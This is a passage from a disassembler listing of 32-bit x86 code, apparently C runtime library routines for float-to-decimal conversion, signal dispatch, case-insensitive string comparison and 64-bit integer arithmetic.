		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_427149
		mov	cx, word ptr [ebp+var_10+2]
		mov	[esi], cx
		mov	ecx, [ebp+var_C]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_8]
		mov	[esi+6], ecx
		or	eax, edi

loc_427143:				; CODE XREF: sub_426F3F+90j
		mov	[esi+0Ah], ax
		jmp	short loc_427164
; ---------------------------------------------------------------------------

loc_427149:				; CODE XREF: sub_426F3F+4Cj
					; sub_426F3F+57j ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_427164:				; CODE XREF: sub_426F3F+B5j
					; sub_426F3F+208j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_41E5BB
		leave
		retn
sub_426F3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427171	proc near		; CODE XREF: sub_42612C+39Cp
					; sub_42740A+141p

var_10		= byte ptr -10h
var_E		= dword	ptr -0Eh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, ds:dword_433148
		push	ebx
		mov	ebx, offset dword_433E30
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		mov	[ebp+var_4], eax
		jz	short loc_4271EC
		jge	short loc_42719C
		neg	[ebp+arg_4]
		mov	ebx, offset dword_433F90
		sub	ebx, 60h

loc_42719C:				; CODE XREF: sub_427171+1Ej
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4271A7
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_4271A7:				; CODE XREF: sub_427171+2Ej
		cmp	[ebp+arg_4], ecx
		jz	short loc_4271EC
		push	esi
		push	edi

loc_4271AE:				; CODE XREF: sub_427171+77j
		mov	eax, [ebp+arg_4]
		sar	[ebp+arg_4], 3
		and	eax, 7
		add	ebx, 54h
		cmp	eax, ecx
		jz	short loc_4271E5
		lea	eax, [eax+eax*2]
		lea	esi, [ebx+eax*4]
		cmp	word ptr [esi],	8000h
		jb	short loc_4271D8
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsd
		dec	[ebp+var_E]
		lea	esi, [ebp+var_10]

loc_4271D8:				; CODE XREF: sub_427171+59j
		push	esi
		push	[ebp+arg_0]
		call	sub_426F3F
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_4271E5:				; CODE XREF: sub_427171+4Cj
		cmp	[ebp+arg_4], ecx
		jnz	short loc_4271AE
		pop	edi
		pop	esi

loc_4271EC:				; CODE XREF: sub_427171+1Cj
					; sub_427171+39j
		mov	ecx, [ebp+var_4]
		pop	ebx
		call	sub_41E5BB
		leave
		retn
sub_427171	endp


; =============== S U B	R O U T	I N E =======================================



sub_4271F7	proc near		; CODE XREF: sub_426560+73p
					; sub_426560+CAp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		sar	ecx, 5
		and	eax, 1Fh
		lea	edx, ds:438460h[ecx*4]
		lea	ecx, [eax+eax*8]
		mov	eax, [edx]
		shl	ecx, 2
		movzx	eax, byte ptr [eax+ecx+4]
		push	esi
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_427233
		mov	edx, [edx]
		lea	ecx, [edx+ecx+4]
		and	byte ptr [ecx],	7Fh
		jmp	short loc_427246
; ---------------------------------------------------------------------------

loc_427233:				; CODE XREF: sub_4271F7+2Fj
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_427253
		mov	edx, [edx]
		lea	ecx, [edx+ecx+4]
		or	byte ptr [ecx],	80h

loc_427246:				; CODE XREF: sub_4271F7+3Aj
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFC000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_427253:				; CODE XREF: sub_4271F7+44j
		call	sub_4200B5
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_4271F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_427263	proc near		; CODE XREF: sub_427291+72p
		mov	ecx, ds:dword_433894
		mov	eax, edx
		push	edi

loc_42726C:				; CODE XREF: sub_427263+19j
		cmp	[eax+4], esi
		jz	short loc_42727E
		lea	edi, [ecx+ecx*2]
		add	eax, 0Ch
		lea	edi, [edx+edi*4]
		cmp	eax, edi
		jb	short loc_42726C

loc_42727E:				; CODE XREF: sub_427263+Cj
		lea	ecx, [ecx+ecx*2]
		lea	ecx, [edx+ecx*4]
		cmp	eax, ecx
		pop	edi
		jnb	short loc_42728E
		cmp	[eax+4], esi
		jz	short locret_427290

loc_42728E:				; CODE XREF: sub_427263+24j
		xor	eax, eax

locret_427290:				; CODE XREF: sub_427263+29j
		retn
sub_427263	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427291	proc near		; CODE XREF: sub_423818+30A2p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004273D9 SIZE 00000031 BYTES

		push	20h
		push	offset stru_42A998
		call	__SEH_prolog
		xor	ecx, ecx
		mov	[ebp+var_1C], ecx
		mov	eax, [ebp+arg_0]
		dec	eax
		dec	eax
		jz	short loc_427313
		dec	eax
		dec	eax
		jz	short loc_4272F3
		sub	eax, 4
		jz	short loc_4272F3
		sub	eax, 3
		jz	short loc_4272F3
		sub	eax, 4
		jz	short loc_4272E6
		sub	eax, 6
		jz	short loc_4272D9
		dec	eax
		jz	short loc_4272CC
		or	eax, 0FFFFFFFFh
		jmp	loc_427404
; ---------------------------------------------------------------------------

loc_4272CC:				; CODE XREF: sub_427291+31j
		mov	esi, offset dword_4359A8
		mov	edi, ds:dword_4359A8
		jmp	short loc_42731E
; ---------------------------------------------------------------------------

loc_4272D9:				; CODE XREF: sub_427291+2Ej
		mov	esi, offset dword_4359A4
		mov	edi, ds:dword_4359A4
		jmp	short loc_42731E
; ---------------------------------------------------------------------------

loc_4272E6:				; CODE XREF: sub_427291+29j
		mov	esi, offset dword_4359AC
		mov	edi, ds:dword_4359AC
		jmp	short loc_42731E
; ---------------------------------------------------------------------------

loc_4272F3:				; CODE XREF: sub_427291+1Aj
					; sub_427291+1Fj ...
		call	sub_4203B6
		mov	ebx, eax
		mov	[ebp+var_24], ebx
		mov	edx, [ebx+54h]
		mov	esi, [ebp+arg_0]
		call	sub_427263
		mov	esi, eax
		add	esi, 8
		mov	edi, [esi]
		xor	ecx, ecx
		jmp	short loc_427328
; ---------------------------------------------------------------------------

loc_427313:				; CODE XREF: sub_427291+16j
		mov	esi, offset dword_4359A0
		mov	edi, ds:dword_4359A0

loc_42731E:				; CODE XREF: sub_427291+46j
					; sub_427291+53j ...
		mov	[ebp+var_1C], 1
		mov	ebx, [ebp+var_24]

loc_427328:				; CODE XREF: sub_427291+80j
		mov	[ebp+var_20], edi
		cmp	edi, 1
		jz	loc_427402
		cmp	edi, ecx
		jnz	short loc_42733F
		push	3
		call	sub_41F66F

loc_42733F:				; CODE XREF: sub_427291+A5j
		cmp	[ebp+var_1C], ecx
		jz	short loc_42734D
		push	ecx
		call	sub_41E983
		pop	ecx
		xor	ecx, ecx

loc_42734D:				; CODE XREF: sub_427291+B1j
		mov	[ebp+ms_exc.disabled], ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, 8
		jz	short loc_427362
		cmp	eax, 0Bh
		jz	short loc_427362
		cmp	eax, 4
		jnz	short loc_42737D

loc_427362:				; CODE XREF: sub_427291+C5j
					; sub_427291+CAj
		mov	edx, [ebx+58h]
		mov	[ebp+var_2C], edx
		mov	[ebx+58h], ecx
		cmp	eax, 8
		jnz	short loc_4273A9
		mov	edx, [ebx+5Ch]
		mov	[ebp+var_30], edx
		mov	dword ptr [ebx+5Ch], 8Ch

loc_42737D:				; CODE XREF: sub_427291+CFj
		cmp	eax, 8
		jnz	short loc_4273A9
		mov	eax, ds:dword_433888

loc_427387:				; CODE XREF: sub_427291+116j
		mov	[ebp+var_28], eax
		mov	edx, ds:dword_43388C
		mov	esi, ds:dword_433888
		add	edx, esi
		cmp	eax, edx
		jge	short loc_4273AB
		lea	edx, [eax+eax*2]
		mov	esi, [ebx+54h]
		mov	[esi+edx*4+8], ecx
		inc	eax
		jmp	short loc_427387
; ---------------------------------------------------------------------------

loc_4273A9:				; CODE XREF: sub_427291+DDj
					; sub_427291+EFj
		mov	[esi], ecx

loc_4273AB:				; CODE XREF: sub_427291+109j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4273CC
		cmp	[ebp+arg_0], 8
		jnz	short loc_4273D9
		push	dword ptr [ebx+5Ch]
		push	8
		call	edi
		pop	ecx
		jmp	short loc_4273DE
sub_427291	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4273C4	proc near		; DATA XREF: .text:stru_42A998o
		mov	edi, [ebp-20h]
		mov	ebx, [ebp-24h]
		xor	ecx, ecx
sub_4273C4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4273CC	proc near		; CODE XREF: sub_427291+11Ep
		cmp	[ebp-1Ch], ecx
		jz	short locret_4273D8
		push	ecx
		call	sub_41E8CE
		pop	ecx

locret_4273D8:				; CODE XREF: sub_4273CC+3j
		retn
sub_4273CC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427291

loc_4273D9:				; CODE XREF: sub_427291+127j
		push	[ebp+arg_0]
		call	edi

loc_4273DE:				; CODE XREF: sub_427291+131j
		pop	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, 8
		jz	short loc_4273F1
		cmp	eax, 0Bh
		jz	short loc_4273F1
		cmp	eax, 4
		jnz	short loc_427402

loc_4273F1:				; CODE XREF: sub_427291+154j
					; sub_427291+159j
		mov	ecx, [ebp+var_2C]
		mov	[ebx+58h], ecx
		cmp	eax, 8
		jnz	short loc_427402
		mov	eax, [ebp+var_30]
		mov	[ebx+5Ch], eax

loc_427402:				; CODE XREF: sub_427291+9Dj
					; sub_427291+15Ej ...
		xor	eax, eax

loc_427404:				; CODE XREF: sub_427291+36j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_427291

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42740A	proc near		; CODE XREF: sub_426AE4+33p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, ds:dword_433148
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_2C], 1
		mov	edx, eax
		jz	short loc_427474
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_427478
; ---------------------------------------------------------------------------

loc_427474:				; CODE XREF: sub_42740A+62j
		mov	byte ptr [ebx+2], 20h

loc_427478:				; CODE XREF: sub_42740A+68j
		test	dx, dx
		mov	edi, [ebp+arg_4]
		jnz	short loc_42748D
		test	edi, edi
		jnz	short loc_42748D
		cmp	[ebp+arg_0], edi
		jz	loc_427580

loc_42748D:				; CODE XREF: sub_42740A+74j
					; sub_42740A+78j
		cmp	dx, si
		jnz	short loc_42750A
		mov	eax, 80000000h
		cmp	edi, eax
		mov	word ptr [ebx],	1
		jnz	short loc_4274A6
		cmp	[ebp+arg_0], 0
		jz	short loc_4274B5

loc_4274A6:				; CODE XREF: sub_42740A+94j
		test	edi, 40000000h
		jnz	short loc_4274B5
		push	offset dword_42A9BC
		jmp	short loc_4274FB
; ---------------------------------------------------------------------------

loc_4274B5:				; CODE XREF: sub_42740A+9Aj
					; sub_42740A+A2j
		test	cx, cx
		jz	short loc_4274CF
		cmp	edi, 0C0000000h
		jnz	short loc_4274CF
		cmp	[ebp+arg_0], 0
		jnz	short loc_4274F6
		push	offset dword_42A9B4
		jmp	short loc_4274DE
; ---------------------------------------------------------------------------

loc_4274CF:				; CODE XREF: sub_42740A+AEj
					; sub_42740A+B6j
		cmp	edi, eax
		jnz	short loc_4274F6
		cmp	[ebp+arg_0], 0
		jnz	short loc_4274F6
		push	offset dword_42A9AC

loc_4274DE:				; CODE XREF: sub_42740A+C3j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C930
		mov	byte ptr [ebx+3], 5

loc_4274EB:				; CODE XREF: sub_42740A+FEj
		and	[ebp+var_2C], 0
		pop	ecx
		pop	ecx
		jmp	loc_427662
; ---------------------------------------------------------------------------

loc_4274F6:				; CODE XREF: sub_42740A+BCj
					; sub_42740A+C7j ...
		push	offset dword_42A9A4

loc_4274FB:				; CODE XREF: sub_42740A+A9j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C930
		mov	byte ptr [ebx+3], 6
		jmp	short loc_4274EB
; ---------------------------------------------------------------------------

loc_42750A:				; CODE XREF: sub_42740A+86j
		movzx	eax, dx
		mov	esi, eax
		imul	eax, 4D10h
		and	[ebp+var_10], 0
		mov	ecx, edi
		shr	ecx, 18h
		shr	esi, 8
		lea	ecx, [esi+ecx*2]
		imul	ecx, 4Dh
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_E], eax
		sar	esi, 10h
		movsx	eax, si
		neg	eax
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_6], dx
		mov	[ebp+var_A], edi
		call	sub_427171
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42756B
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		inc	esi
		call	sub_426F3F
		pop	ecx
		pop	ecx

loc_42756B:				; CODE XREF: sub_42740A+14Fj
		test	[ebp+arg_10], 1
		mov	edi, [ebp+arg_C]
		mov	[ebx], si
		jz	short loc_427589
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_427589

loc_427580:				; CODE XREF: sub_42740A+7Dj
		mov	byte ptr [ebx+4], 30h
		jmp	loc_427683
; ---------------------------------------------------------------------------

loc_427589:				; CODE XREF: sub_42740A+16Bj
					; sub_42740A+174j
		cmp	edi, 15h
		jle	short loc_427591
		push	15h
		pop	edi

loc_427591:				; CODE XREF: sub_42740A+182j
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_8], 8

loc_4275A7:				; CODE XREF: sub_42740A+1AAj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_426E06
		dec	[ebp+arg_8]
		pop	ecx
		jnz	short loc_4275A7
		test	esi, esi
		jge	short loc_4275D1
		neg	esi
		and	esi, 0FFh
		jle	short loc_4275D1

loc_4275C4:				; CODE XREF: sub_42740A+1C5j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_426E34
		dec	esi
		pop	ecx
		jnz	short loc_4275C4

loc_4275D1:				; CODE XREF: sub_42740A+1AEj
					; sub_42740A+1B8j
		lea	ecx, [edi+1]
		test	ecx, ecx
		lea	eax, [ebx+4]
		mov	[ebp+var_30], eax
		jle	short loc_42762E
		mov	[ebp+arg_8], ecx

loc_4275E1:				; CODE XREF: sub_42740A+21Fj
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+var_28]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_426E06
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_426E06
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_426DA8
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_426E06
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+var_30]
		add	al, 30h
		add	esp, 14h
		inc	[ebp+var_30]
		dec	[ebp+arg_8]
		mov	[ecx], al
		mov	byte ptr [ebp+var_6+1],	0
		jnz	short loc_4275E1
		mov	eax, [ebp+var_30]

loc_42762E:				; CODE XREF: sub_42740A+1D2j
		dec	eax
		mov	cl, [eax]
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_427678
		jmp	short loc_427645
; ---------------------------------------------------------------------------

loc_42763C:				; CODE XREF: sub_42740A+23Dj
		cmp	byte ptr [eax],	39h
		jnz	short loc_427649
		mov	byte ptr [eax],	30h
		dec	eax

loc_427645:				; CODE XREF: sub_42740A+230j
		cmp	eax, ecx
		jnb	short loc_42763C

loc_427649:				; CODE XREF: sub_42740A+235j
		cmp	eax, ecx
		jnb	short loc_427651
		inc	eax
		inc	word ptr [ebx]

loc_427651:				; CODE XREF: sub_42740A+241j
		inc	byte ptr [eax]

loc_427653:				; CODE XREF: sub_42740A+274j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		mov	byte ptr [eax+ebx+4], 0

loc_427662:				; CODE XREF: sub_42740A+E7j
		mov	eax, [ebp+var_2C]

loc_427665:				; CODE XREF: sub_42740A+28Cj
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_41E5BB
		leave
		retn
; ---------------------------------------------------------------------------

loc_427672:				; CODE XREF: sub_42740A+270j
		cmp	byte ptr [eax],	30h
		jnz	short loc_42767C
		dec	eax

loc_427678:				; CODE XREF: sub_42740A+22Ej
		cmp	eax, ecx
		jnb	short loc_427672

loc_42767C:				; CODE XREF: sub_42740A+26Bj
		cmp	eax, ecx
		jnb	short loc_427653
		mov	byte ptr [ecx],	30h

loc_427683:				; CODE XREF: sub_42740A+17Aj
		and	word ptr [ebx],	0
		xor	eax, eax
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+5], 0
		inc	eax
		jmp	short loc_427665
sub_42740A	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+10h]
		or	ecx, ecx
		jz	short loc_4276FA
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]

loc_4276BC:				; CODE XREF: .text:004276E9j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_4276EB
		or	al, al
		jz	short loc_4276EB
		add	esi, 1
		add	edi, 1
		cmp	ah, bh
		jb	short loc_4276D8
		cmp	ah, bl
		ja	short loc_4276D8
		add	ah, dh

loc_4276D8:				; CODE XREF: .text:004276D0j
					; .text:004276D4j
		cmp	al, bh
		jb	short loc_4276E2
		cmp	al, bl
		ja	short loc_4276E2
		add	al, dh

loc_4276E2:				; CODE XREF: .text:004276DAj
					; .text:004276DEj
		cmp	ah, al
		jnz	short loc_4276F1
		sub	ecx, 1
		jnz	short loc_4276BC

loc_4276EB:				; CODE XREF: .text:004276C2j
					; .text:004276C6j
		xor	ecx, ecx
		cmp	ah, al
		jz	short loc_4276FA

loc_4276F1:				; CODE XREF: .text:004276E4j
		mov	ecx, 0FFFFFFFFh
		jb	short loc_4276FA
		neg	ecx

loc_4276FA:				; CODE XREF: .text:004276ABj
					; .text:004276EFj ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427702	proc near		; CODE XREF: sub_41DE8C+13p
					; sub_41E11A+24p
		jmp	ds:dword_429194
sub_427702	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_427710	proc near		; CODE XREF: sub_417AA4+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_427732
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_427773
; ---------------------------------------------------------------------------

loc_427732:				; CODE XREF: sub_427710+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_427740:				; CODE XREF: sub_427710+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_427740
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_42776E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_42776E
		jb	short loc_42776F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_42776F

loc_42776E:				; CODE XREF: sub_427710+4Ej
					; sub_427710+54j
		dec	esi

loc_42776F:				; CODE XREF: sub_427710+56j
					; sub_427710+5Cj
		xor	edx, edx
		mov	eax, esi

loc_427773:				; CODE XREF: sub_427710+20j
		pop	esi
		pop	ebx
		retn	10h
sub_427710	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427778	proc near		; CODE XREF: sub_40FEC3+1Bp
					; sub_4102C7+69p ...

var_20		= dword	ptr -20h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	esp, 0FFFFFFF0h
		fld	st
		fst	[esp+20h+var_8]
		fistp	[esp+20h+var_10]
		fild	[esp+20h+var_10]
		mov	edx, [esp+20h+var_8]
		mov	eax, dword ptr [esp+20h+var_10]
		test	eax, eax
		jz	short loc_4277D7

loc_42779B:				; CODE XREF: sub_427778+69j
		fsubp	st(1), st
		test	edx, edx
		jns	short loc_4277BF
		fstp	[esp+20h+var_20]
		mov	ecx, [esp+20h+var_20]
		xor	ecx, 80000000h
		add	ecx, 7FFFFFFFh
		adc	eax, 0
		mov	edx, dword ptr [esp+20h+var_10+4]
		adc	edx, 0
		jmp	short locret_4277EB
; ---------------------------------------------------------------------------

loc_4277BF:				; CODE XREF: sub_427778+27j
		fstp	[esp+20h+var_20]
		mov	ecx, [esp+20h+var_20]
		add	ecx, 7FFFFFFFh
		sbb	eax, 0
		mov	edx, dword ptr [esp+20h+var_10+4]
		sbb	edx, 0
		jmp	short locret_4277EB
; ---------------------------------------------------------------------------

loc_4277D7:				; CODE XREF: sub_427778+21j
		mov	edx, dword ptr [esp+20h+var_10+4]
		test	edx, 7FFFFFFFh
		jnz	short loc_42779B
		fstp	[esp+20h+var_8]
		fstp	[esp+20h+var_8]

locret_4277EB:				; CODE XREF: sub_427778+45j
					; sub_427778+5Dj
		leave
		retn
sub_427778	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4277F0	proc near		; CODE XREF: sub_410500+18p
		cmp	cl, 40h
		jnb	short loc_42780B
		cmp	cl, 20h
		jnb	short loc_427800
		shrd	eax, edx, cl
		sar	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_427800:				; CODE XREF: sub_4277F0+8j
		mov	eax, edx
		sar	edx, 1Fh
		and	cl, 1Fh
		sar	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_42780B:				; CODE XREF: sub_4277F0+3j
		sar	edx, 1Fh
		mov	eax, edx
		retn
sub_4277F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_427820	proc near		; CODE XREF: sub_4104D3+18p
		cmp	cl, 40h
		jnb	short loc_42783A
		cmp	cl, 20h
		jnb	short loc_427830
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_427830:				; CODE XREF: sub_427820+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_42783A:				; CODE XREF: sub_427820+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_427820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_427840	proc near		; CODE XREF: sub_4104A3+1Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	edi
		xor	edi, edi
		mov	eax, [esp+8+arg_4]
		or	eax, eax
		jge	short loc_427860
		inc	edi
		mov	edx, [esp+8+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+8+arg_4], eax
		mov	[esp+8+arg_0], edx

loc_427860:				; CODE XREF: sub_427840+Aj
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jge	short loc_42787B
		mov	edx, [esp+8+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+8+arg_C], eax
		mov	[esp+8+arg_8], edx

loc_42787B:				; CODE XREF: sub_427840+26j
		or	eax, eax
		jnz	short loc_42789A
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		dec	edi
		jns	short loc_4278E6
		jmp	short loc_4278ED
; ---------------------------------------------------------------------------

loc_42789A:				; CODE XREF: sub_427840+3Dj
		mov	ebx, eax
		mov	ecx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_4278A8:				; CODE XREF: sub_427840+72j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4278A8
		div	ecx
		mov	ecx, eax
		mul	[esp+8+arg_C]
		xchg	eax, ecx
		mul	[esp+8+arg_8]
		add	edx, ecx
		jb	short loc_4278D3
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4278D3
		jb	short loc_4278DB
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4278DB

loc_4278D3:				; CODE XREF: sub_427840+83j
					; sub_427840+89j
		sub	eax, [esp+8+arg_8]
		sbb	edx, [esp+8+arg_C]

loc_4278DB:				; CODE XREF: sub_427840+8Bj
					; sub_427840+91j
		sub	eax, [esp+8+arg_0]
		sbb	edx, [esp+8+arg_4]
		dec	edi
		jns	short loc_4278ED

loc_4278E6:				; CODE XREF: sub_427840+56j
		neg	edx
		neg	eax
		sbb	edx, 0

loc_4278ED:				; CODE XREF: sub_427840+58j
					; sub_427840+A4j
		pop	edi
		pop	ebx
		retn	10h
sub_427840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



SEH_41B760	proc near		; DATA XREF: sub_41B760+5o
		mov	eax, offset dword_4310A4
		jmp	sub_41E16C
SEH_41B760	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_40183A
; ---------------------------------------------------------------------------

loc_427912:				; DATA XREF: sub_41B9F9o sub_41BA51o
		mov	eax, offset dword_431138
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		jmp	loc_4099F5
; ---------------------------------------------------------------------------

loc_427924:				; DATA XREF: .text:004319BCo
		mov	esi, [ebp+8]
		add	esi, 4
		jmp	sub_4073E0
; ---------------------------------------------------------------------------

loc_42792F:				; DATA XREF: sub_40E258o sub_40E2F1o
		mov	eax, offset dword_4319C0
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		jmp	sub_40E135
; ---------------------------------------------------------------------------

loc_427941:				; DATA XREF: sub_40C5E6o
		mov	eax, offset dword_431284
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	eax, [ebp-20h]
		jmp	loc_406A84
; ---------------------------------------------------------------------------

loc_427953:				; DATA XREF: .text:004312ACo
		lea	eax, [ebp-10h]
		jmp	loc_406A84
; ---------------------------------------------------------------------------
		lea	eax, [ebp-14h]
		jmp	loc_406A84
; ---------------------------------------------------------------------------
		lea	eax, [ebp-1Ch]
		jmp	loc_406A84
